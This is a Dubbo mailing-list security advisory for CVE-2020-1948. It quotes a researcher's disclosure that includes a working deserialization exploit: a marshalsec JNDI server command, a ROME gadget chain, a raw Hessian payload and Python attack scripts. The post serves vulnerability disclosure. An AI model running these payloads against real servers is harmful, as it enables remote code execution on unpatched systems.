You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@dubbo.apache.org by Jun Liu <li...@apache.org> on 2020/06/23 02:21:33 UTC

[CVE-2020-1948] Apache Dubbo Provider default deserialization cause RCE

Severity: Important


Vendor:
The Dubbo Project Team


Versions Affected:
Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions (not supported by official team any longer)


Description:
This vulnerability can affect all Dubbo users stay on version 2.7.6 or lower. 
An attacker can send RPC requests with unrecognized service name or method name along with some malicious parameter payloads. When the malicious parameter is deserialized, it will execute some malicious code. More details can be found below. 


Mitigation:
1. All versions of Dubbo can upgrade to in 2.7.7 or higher version to avoid this vulnerability
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7

Credit:
This issue was first reported by Ruilin (514300363@qq.com)

Jun

> On Nov 22, 2019, at 9:30 PM, 侦探 <51...@qq.com> wrote:
> 
> Dubbo Provider default deserialization cause RCE
> -----
> [demo] https://github.com/apache/dubbo-spring-boot-project
> start dubbo-spring-boot-auto-configure-provider-sample
> 
> 
> dubbo default deserialization was hessian,and when provider public the port like
> the provider is on 12345 
> <C8...@46930910.08E3D75D.jpg>
> 
> we can use some gadgets to attack the Dubbo server 
> see https://github.com/mbechler/marshalsec
> 
> start JNDI:
> java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8088/#Exploit 8087
> 
> let's quickly make a poc
> the gadget used ROME  for JNDI injection TO RCE
> need to add pom  for dubbo-spring-boot-auto-configure-provider-sample
> <dependency>
>     <groupId>com.rometools</groupId>
>     <artifactId>rome</artifactId>
>     <version>1.7.0</version>
> </dependency>
> 
> use dubbo-spring-boot-auto-configure-samples connect dubbo-spring-boot-auto-configure-provider-sample
> private static Object getPayload() throws Exception {
>         String jndiUrl = "ldap://127.0.0.1:8087/Exploit";
> 
>         ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
>         EqualsBean root = new EqualsBean(ToStringBean.class,item);
> 
> 
>         return JDKUtil.makeMap(root,root);
>     }
>  @PostMapping("/test")
> public String sayHello(@RequestParam String name) throws Exception {
>     //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
>     Object o=getPayload();
>     return demoService.commonTest(o);
> }
> 
> request that url and see Wireshark
> <56...@0B995E58.08E3D75D.jpg>
> we can see some data was serialized by hessian,
> Although the service names for the connection are specified above, it does not affect our ability to deserialize the serialization data.We can modify the value to verify it.
> 
> next  
> Ues python_EXP(I have modified the service name(bytes), which can prove that it is not affected by this parameter) to attack Dubbo Provider Server
> 
> # -*- coding: utf-8 -*-
> import socket
> import time
> import re
> 
> def sendEvilObjData(sock):
>     payload="DABBC20000000000000000000000037805322E302E3230366F72672E6161616161612E61616161612E737072696E672E626F6F742E63656D6F2E636F6E73756D65722E4B656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A383038372F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6262626368652E61616161612E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E4B656D6F5365727669636509696E7465726661636530366F72672E6170616368652E61616161612E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E61656D6F536572766963650776657273696F6E05312E302E305A"
>     sock.send(payload.decode('hex'))
> def run(dip,dport):
>     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>     server_addr = (dip, dport)
>     sock.connect(server_addr)
>     sendEvilObjData(sock)
> 
> run("127.0.0.1",12345)
> 
> 
> <2F...@1069FC5D.08E3D75D.jpg>
> 
> success
> 
> I simplified the gadgets a little bit and write a payload for JNDIinjection ,you can test by it simply
> 
> # -*- coding: utf-8 -*-
> #pip3 install dubbo-py
> from dubbo.codec.hessian2 import Decoder,new_object
> from dubbo.client import DubboClient
> 
> client = DubboClient('127.0.0.1', 12345)
> 
> JdbcRowSetImpl=new_object(
> 	'com.sun.rowset.JdbcRowSetImpl',
> 	dataSource="ldap://127.0.0.1:8087/Exploit",
> 	strMatchColumns=["foo"]
> 	)
> JdbcRowSetImplClass=new_object(
> 	'java.lang.Class',
> 	name="com.sun.rowset.JdbcRowSetImpl",
> 	)
> toStringBean=new_object(
> 	'com.rometools.rome.feed.impl.ToStringBean',
> 	beanClass=JdbcRowSetImplClass,
> 	obj=JdbcRowSetImpl
> 	)
> 
> resp = client.send_request_and_return_response(
>     service_name='cn.rui0',
>     method_name='rce',
>     args=[toStringBean])
> 
> ---
> 
> It might be safe to verify that the service name exists first
> 
> 
> ----
> Best regards,
> Ruilin